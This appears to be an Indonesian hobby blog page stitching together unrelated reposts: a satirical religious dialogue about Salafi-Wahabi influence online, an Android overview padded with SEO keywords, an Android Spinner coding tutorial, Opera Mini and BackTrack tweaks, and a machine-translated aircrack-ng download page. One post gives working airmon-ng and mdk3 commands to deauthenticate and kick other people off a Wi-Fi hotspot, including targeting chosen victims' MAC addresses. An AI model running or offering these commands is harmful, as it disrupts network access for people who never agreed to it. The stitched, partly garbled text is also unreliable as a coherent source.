Virus Wahabi Meracuni IT

Gara-gara program SMADAV di laptop Sufi Kenthir trouble, pesantren sufi gempar membincang masalah penguasaan sistematis jaringan IT nasional oleh kelompok-kelompok Salafi-Wahabi. Asal-muasal kegemparan itu, sewaktu Sufi Kenthir mengunduh program SMADAV dengan mengakses www.smadav.net, yang ia dapati bukan sekedar menu anti virus smadav melainkan segudang tulisan dalam berbagai bentuk yang isinya menghujat, menista, merendahkan, mencaci-maki, dan mengutuk  para ahli bid’ah yang dianggap merusak Islam dan bakal menjadi penghuni neraka.

Sadar ada yang tidak beres dengan program anti virus yang disusupi  propaganda faham Salafi-Wahabi, Sufi Kenthir membawa kasus itu dalam bincang-bincang ringan dengan para sufi di teras mushola pesantren. Ternyata, para sufi selama ini mengalami pengalaman yang tak kalah aneh dengan keberadaan the invincible hand yang secara sistematis membelokkan, memanipulasi, mengarahkan, memalsukan berbagai hal yang tidak sesuai dengan akidah SalafiWahabi.

“Jadi selain SMADAV, mereka juga menyusup ke program-program lain ya?” sahut Sufi Kenthir garuk-garuk kepala,”Kayak virus aja nyusup ke program mana-mana.”

“Benar itu kang,” sahut Dullah berkomentar,”Waktu saya buka Mbah Google untuk mencari Al-Qur’an Tafsir Jalalain  berbahasa Jawa, tidak ketemu terjemah Jawanya, malah ketemu bahasan Qur’an Jalalain versi Salafi-Wahabi. Puluhan artikel menghujat kalangan Islam tradisional banyak bertebaran di laman tersebut. Pendek kata, buka apa pun tentang Tafsir Jalalain, yang akan muncul adalah laman-laman Salafi-Wahabi yang dibungkus kesan seolah-olah mereka itu adalah santri dari pesantren.”

“Wah, sama dengan pengalamanku kang,” sahut Sukiran dengan suara menggebu,”Waktu aku cari Arbain An-Nawawi, yang aku temukan justru tafsir Arbain menurut versi mereka. Aku baca merasa geli saja, ada kitab tulisan ulama’ berfaham Syafi’iyyah dikupas dan dimanipulasi versi Salafi-Wahabi.”

“Soal ini bukan masalah geli dan tidak geli, Ran,” sahut Sufi Kenthir lantang,”Soalnya, 10 – 20 tahun lagi generasi muda muslim membaca tulisan-tulisan itu, mereka bisa mengira bahwa seperti itulah tafsir Jalalain dan tafsir dari Arbain An-Nawawi.”

“Aku juga punya pengalaman aneh dengan kelakuan orang-orang Salafi-Wahabi yang menyusup ke berbagai program seperti kelakuan virus itu. Waktu aku mencari informasi tentang tokoh-tokoh imam mazhab seperti Imam Malik bin Anas, Imam Abu Hanifah, Imam Syafi’i, Imam Ahmad bin Hanbal, semua ditulis versi mereka. Bahkan tokoh-tokoh sahabat seperti Abu Bakar, Umar bin Khaththab, Utsman bin Affan, Ali bin Abi Thalib, Abu Dzar al-Ghiffari, Bilal bin Rabah, Khalid bin Walid ditulis menurut versi mereka,” kata Sufi Sudrun  menimpali.

“Betul, aku juga waktu cari Hadits Shahih Bukhari dan Shahih Muslim, ternyata yang tersedia adalah Shahih Bukhari dan Shahih Muslim yang sudah disahihkan oleh Nasiruddin Al-Albani. Jadi Shahih Bukhari dan Shahih Muslim versi Salafi-Wahabi. Weleh-weleh,” kata Sufi tua ikut bicara.

“Kalau sudah seperti itu,” kata Sufi Majenun menyimpulkan,”Berarti seluruh jaringan IT di dunia maya secara nasional sudah dikuasai jaringan Salafi-Wahabi, benar begitu?”

“Kayaknya begitu kang,” sahut Sufi Kenthir,”Ya bagaimana lagi, wong menteri Kominfo-nya saja dari kalangan mereka.”

“Wah berarti benar ya mimpiku bahwa pengaruh kaum tradisional dipreteli dan mrotoli di mana-mana…..”

sumber http://www.sarkub.com/2011/virus-wahabi-meracuni-it/

Tentang Sistem Operasi Handphone Android dan Perkembangannya

android adalah sistem operasi untuk telepon seluler yang berbasis Linux. Android menyediakan platform terbuka bagi para pengembang buat menciptakan aplikasi mereka sendiri untuk digunakan oleh bermacam peranti bergerak. Awalnya, Google Inc. membeli Android Inc., pendatang baru yang membuat peranti lunak untuk ponsel. Kemudian untuk mengembangkan Android, dibentuklah Open Handset Alliance, konsorsium dari 34 perusahaan peranti keras, peranti lunak, dan telekomunikasi, termasuk Google, HTC, Intel, Motorola, Qualcomm, T-Mobile, dan Nvidia. (more…)

Kata kunci terkait dengan postingan :

fungsi android, Kegunaan android, fungsi android pada handphone, kegunaan android pada handphone, kegunaan hp android, fungsi hp android, fungsi android pada hp, perkembangan hp android, perkembangan handphone android, perkembangan aplikasi office dalam perangkat pda/handphone, kegunaan android pada hp, kegunaan dan fungsi android, manfaat android pada hp, fungsi dan kegunaan android, artikel perkembangan handphone, manfaat hp android, android dan perkembangannya, cara kerja wificutte, perkembangan sistem operasi handphone, fungsi dari android, perkembangan os handphone, android kegunaan, fungsi handphone android, perkembangan sistem operasi mobile, kegunaan androit, kegunaan dari android, kegunaan software android, perkembangan sistem operasi android, apakah kegunaan android, perkembangan telepon seluler, apa kegunaan android, pekembangan sistem operasi pada android, perkembangan os hp, aritikel perkembangan handphone android, artikel perkembangan android, fungsi androit, kegunaan anroid, artikel tentang perkembangan sistem aplikasi, kegunaan adroid, perkembangan aplikasi browser dalam perangkat PADA/handphone, manfaat dan fungsi google sky maps, manfaat bluetooth a2dp, manfaat handphone android, sistem fungsi hp, makalah perkembangan aplikasi office dalam perangkat PADA/handphone, makalah tentang android terkait dengan perkembangan sistem informasi, teknologi androit, makalah tentang fungsi-fungsi handphone, sistem operasi handphone, makalah tentang perkembangan android

Android spinner (drop down list) example

In Android, the you can use “android.widget.Spinner” class to render a dropdown box selection list.

Note
Spinner is a widget similar to a drop-down list for selecting items.
In this tutorial, we show you how to do the following tasks :

Render a Spinner in XML, and load the selection items via XML file also.
Render another Spinner in XML, and load the selection items via code dynamically.
Attach a listener on Spinner, fire when user select a value in Spinner.
Render and attach a listener on a normal button, fire when user click on it, and it will display selected value of Spinner.
P.S This project is developed in Eclipse 3.7, and tested with Android 2.3.3.

1. List of Items in Spinner

Open “res/values/strings.xml” file, defined the list of items that will display in Spinner (dropdown list).

File : res/values/strings.xml

<?xml version="1.0" encoding="utf-8"?>
<resources>

    <string name="app_name">MyAndroidApp</string>
    <string name="country_prompt">Choose a country</string>

    <string-array name="country_arrays">
        <item>Malaysia</item>
        <item>United States</item>
        <item>Indonesia</item>
        <item>France</item>
        <item>Italy</item>
        <item>Singapore</item>
        <item>New Zealand</item>
        <item>India</item>
    </string-array>

</resources>


2. Spinner (DropDown List)

Open “res/layout/main.xml” file, add two spinner components and a button.

In “spinner1″, the “android:entries” represents the selection items in spinner.
In “spinner2″, the selection items will be defined in code later.
File : res/layout/main.xml

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:orientation="vertical" >

    <Spinner
        android:id="@+id/spinner1"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:entries="@array/country_arrays"
        android:prompt="@string/country_prompt" />

    <Spinner
        android:id="@+id/spinner2"
        android:layout_width="match_parent"
        android:layout_height="wrap_content" />

    <Button
        android:id="@+id/btnSubmit"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Submit" />

</LinearLayout>


3. Code Code

Read the code and also code’s comment, it should be self-explanatory.

File : MyAndroidAppActivity.java

package com.mkyong.android;

import java.util.ArrayList;
import java.util.List;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.Spinner;
import android.widget.Toast;

public class MyAndroidAppActivity extends Activity {

  private Spinner spinner1, spinner2;
  private Button btnSubmit;

  @Override
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.main);

    addItemsOnSpinner2();
    addListenerOnButton();
    addListenerOnSpinnerItemSelection();
  }

  // add items into spinner dynamically
  public void addItemsOnSpinner2() {

    spinner2 = (Spinner) findViewById(R.id.spinner2);
    List<String> list = new ArrayList<String>();
    list.add("list 1");
    list.add("list 2");
    list.add("list 3");
    ArrayAdapter<String> dataAdapter = new ArrayAdapter<String>(this,
        android.R.layout.simple_spinner_item, list);
    dataAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
    spinner2.setAdapter(dataAdapter);
  }

  public void addListenerOnSpinnerItemSelection() {
    spinner1 = (Spinner) findViewById(R.id.spinner1);
    spinner1.setOnItemSelectedListener(new CustomOnItemSelectedListener());
  }

  // get the selected dropdown list value
  public void addListenerOnButton() {

    spinner1 = (Spinner) findViewById(R.id.spinner1);
    spinner2 = (Spinner) findViewById(R.id.spinner2);
    btnSubmit = (Button) findViewById(R.id.btnSubmit);

    btnSubmit.setOnClickListener(new OnClickListener() {

      @Override
      public void onClick(View v) {

        Toast.makeText(MyAndroidAppActivity.this,
        "OnClickListener : " +
                "\nSpinner 1 : "+ String.valueOf(spinner1.getSelectedItem()) +
                "\nSpinner 2 : "+ String.valueOf(spinner2.getSelectedItem()),
            Toast.LENGTH_SHORT).show();
      }

    });
  }
}
File : CustomOnItemSelectedListener.java

package com.mkyong.android;

import android.view.View;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemSelectedListener;
import android.widget.Toast;

public class CustomOnItemSelectedListener implements OnItemSelectedListener {

  public void onItemSelected(AdapterView<?> parent, View view, int pos,long id) {
    Toast.makeText(parent.getContext(),
        "OnItemSelectedListener : " + parent.getItemAtPosition(pos).toString(),
        Toast.LENGTH_SHORT).show();
  }

  @Override
  public void onNothingSelected(AdapterView<?> arg0) {
    // TODO Auto-generated method stub
  }

}


4. Demo

Run the application.
1. Result, two spinners are displayed :


android spinner demo1
 android spinner demo2
2. Select “France” from spinner1, item selection listener is fired :

 android spinner demo3 
3. Select “list2″ from spinner2, and click on the submit button :
 android spinner demo4 
Download Source Code


edit server Opera mini S60v2

Alat yang dibutuhkan hanya explore, dan operamini s60v2.
Instal explore dan operamini nya.!!
Jika udah buka explore, lalu buka E:/system/app/operamini/
Setelah itu cari OperaMini.app.. tekan 8 untuk mengedit.!
Setelah itu tekan pilihan, pilih cari chars, isi kan dengan http://mini . .
Nanti akan muncu 4 buah server. .
Lalu kamu ganti server socket://mini5.Opera-mini.Net:1080 dan dan http://mini5.Opera-minh.Net:80 dengan server gratisan kmu. ..
Ingat huruf huruf dalam app tresebut jangan dikurangkan dan jangan dilebihkan.!
Jika kelebihan huruf gantikan dengat titik. .
Untuk proxy nya kamu carikan proxy yg sesuai dengan server.?
disini saya tidak menyertakan download explorer dan opera mini nya,, silakan agan2 cari di GOOGLE

mengganti plymouth ubuntu 10.4 atau backtrack 5

|     mengubah playmouth ubuntu lucid    |
|----------------------------------------|
| by : reja exe tek                           |
| motto:sekali berarti setelah itu mati  |
| thanks to:ACT, SCT, MCT, n Cybr. joel  |
+----------------------------------------+

 bosen ama plymouth atau boot screen atau  splash defult
 bukalah terminal ( "bukan terminal moto pelangi ya" )

+-----------------------------------------------------+
| 1.  sudo apt-get install plymouth-theme*            |
+-----------------------------------------------------+

+--------------------------------------------------------+
| 2.  sudo update-alternatives – -config default.plymouth|
+--------------------------------------------------------+

 pilih theme yang akan digunakan

+-----------------------------------------------------+
| 3.  sudo update-initramfs  -u                       |
+-----------------------------------------------------+

cara kill user wifi with mdk3

cara mudah meng-kick user yang lagi onlen di hotspot

kebetulan ane pake  BT5 R2, pake aplikasi mdk3. langsung aja ya gan.
1. cek mac address wireless agan dulu pake ifconfig, contohnya gini
# ifconfig wlan0
2. simpen mac address agan di file whitelist.txt (atau yg lain, terserah)
# echo mac_address_agan > whitelist.txt
3. aktifin mode monitor di wireless, ntar muncul interface baru (mon0)
# airmon-ng start wlan0
4. jalanin deh mdk3-nya
# mdk3 mon0 d -w whitelist.txt

tadaa... ntar semua yg lagi konek langsung diskonek, kecuali punya agan. kalo misalnya agan cuma mau diskonekin punya satu/dua orang aja, buat file blacklist.txt yang isinya mac address korban (1 mac address/baris), trus jalanin mdk3-nya pake
# mdk3 mon0 d -b blacklist.txt

aduh, ada banyak Access Point disini.. kalo mau nge-kick user di satu AP aja, silakan cek AP itu pake channel berapa. sintaks mdk3nya jadi
# mdk3 mon0 -c channel_berapa d -w whitelist.txt
atau
# mdk3 mon0 -c channel_berapa d -b blacklist.txt

cara install vga intel Blank Screen problem pada Backtrack 5 R2 (FIX)

1. Masukan Live CD2. Masukan Username Dan Password. Configure Xorg dengan perintah
Code:
root@bt:~#Xorg -configure
2.Copy file xorg.conf td ke /etc/X11
Code:
root@bt:~#cp /root/xorg.conf.new /etc/X11/xorg.conf
3. Edit xorg.conf dengan perintah Nano
Code:
root@bt:~#nano /etc/X11/xorg.conf
4.Pada section Device cari kata "intel" dan ubah menjadi "vesa" dan kemudian save

5. Jalankan perintah Startx untuk masuk ke tampilan GUI

6.Install Backtrack seperti biasa. dan jika setelah selesai, restart

7. Masuk ke GUI, dikarenakan kita merubah device pada xorg.conf efek nya akan terasa berat. maka untuk itu kita kembalikan dengan mengedit kembali
Code:
root@bt:~#nano /etc/X11/xorg.conf
Ubah kata "vesa" menjadi "intel"dan kemudian kita lakukan install driver VGA kembali dengan informasi dari perintah
Code:
root@bt:~#apt-cache search intel | grep xorg

xserver-xorg-video-intel - X.Org X server -- Intel i8xx, i9xx display driver
xserver-xorg-video-intel-dbg - X.Org X server -- Intel i8xx, i9xx display driver (debug symbols)
xserver-xorg-video-i740 - X.Org X server -- i740 display driver
lakukan penginstalan VGA dengan perintah

Code:
root@bt:~#apt-get install xserver-xorg-video-intel
root@bt:~#apt-get install xserver-xorg-video-intel-dbg
root@bt:~#apt-get install xserver-xorg-video-i740
8. edit file grub dengan perintah
r
Code:
oot@bt:~# gedit /boot/grub/grub.cfg
cari kata "text splash vga=791" dan edit menjadi "text i915.modeset=1
Diposkan oleh Reja Exe Tex di 04:35

Downloads tar.gz


Downloads

Sekarang Sumber

Tarbal ini berisi sumber Linux terbaru.
SHA1: 16eed1a8cf06eb8274ae382150b56589b23adf77
MD5: f7a24ed8fad122c4187d06bfd6f998b4

Legacy Sumber

Tarbal ini berisi sumber-sumber warisan terbaru Linux.
SHA1: b2f671324d056408b83d32eb1ab6061b7fa87ac5
MD5: f37fdb000d8bad77da6a0a43bc2ef67a

Pengembangan Sumber

Anda harus subversi untuk mendapatkannya.
Sumber perkembangan terbaru dapat ditemukan di trac.aircrack-ng.org .

Dengan mengetikkan perintah berikut di konsol, Anda akan memeriksa mereka di aircrack-ng direktori:
  svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng 
Pada jendela, Anda dapat menggunakan TortoiseSVN untuk mendapatkannya.

Jendela binari

File zip berisi binari dan sumber untuk membangun pada windows.
SHA1: 590d3e8fd09a21b93908d84057959cb13e73d378
MD5: cbcb23c55ed6933a48b8af5665104fb6
SHA1: 043ac7346cfd4878eb3af9783554873fbb5c28d4
MD5: 407e342f01f6d46886a9f908b241d53a
File-file berikut ini secara otomatis men-download saat Anda menjalankan airodump-ng untuk pertama kalinya.
Jika Anda lebih memilih untuk men-download manual file mengintip:

Linux paket

Kebanyakan distro menyediakan Aircrack-ng paket di repositori mereka.

Gentoo

Aircrack-ng di portage , jalankan "muncul aircrack-ng" sebagai root untuk menginstalnya.

IPK paket (Zaurus)

Aircrack-ng 0.9.1 tersedia di sini (MD5: 87b0bad58db12b86e6a3c0fe6b5d0f99 - SHA1: 9a8da015105c2d77fa8e81d085da304c474ce77b).
IPK yang lebih tua untuk Zaurus tajam juga tersedia di sini .

Paket RPM

Fedora

Redhat / Fedora

SUSE / openSUSE

Debian paket

Resmi Debian arsip:
  • Saat ini versi stabil di 1,0 ~ RC1-2.
  • Versi saat ini dalam pengujian / tidak stabil 1,0 ~ rc3-2.
Adam Cécile saat ini mempertahankan aircrack-ng di Debian.
Anda dapat memeriksa keadaan paket pada halaman Web QA nya: http://qa.debian.org/developer.php?packages=aircrack-ng~~V
Jika Anda ingin aircrack-ng pada versi lain Debian / Ubuntu Anda bisa ambil paket source dari debian arsip:
Dan membangun kembali paket:
  apt-get install build-essential dpkg-dev devscripts debhelper
 wget http://ftp.debian.org/debian/pool/main/a/aircrack-ng/aircrack-ng_1.0 ~ rc3-2.dsc
 wget http://ftp.debian.org/debian/pool/main/a/aircrack-ng/aircrack-ng_1.0 ~ rc3-2.diff.gz
 http://ftp.debian.org/debian/pool/main/a/aircrack-ng/aircrack-ng_1.0 wget ~ rc3.orig.tar.gz
 dpkg-source-x aircrack-ng_1.0 ~ rc3-2.dsc
 cd aircrack-ng-1.0 ~ rc3
 dpkg-buildpackage
 dpkg-i .. / aircrack-ng *. deb 

Ubuntu

Slackware paket

Author: Krzysztof Kamil Bak - krzysiek.k.bak [at] gmail.com

Slax

Versi saat ini adalah hampir selalu revisi pengembangan terbaru.

Archlinux

"Aircrack-ng" yang tersedia di repo resmi. "Aircrack-ng-svn" pada AUR .

Lama versi

Aircrack-ng

Aircrack

Sebuah cadangan dari versi asli (dibuat oleh Christophe Devine) tersedia dalam http://download.aircrack-ng.org/archive/aircrack-old/

Powered by Blogger.
Back to top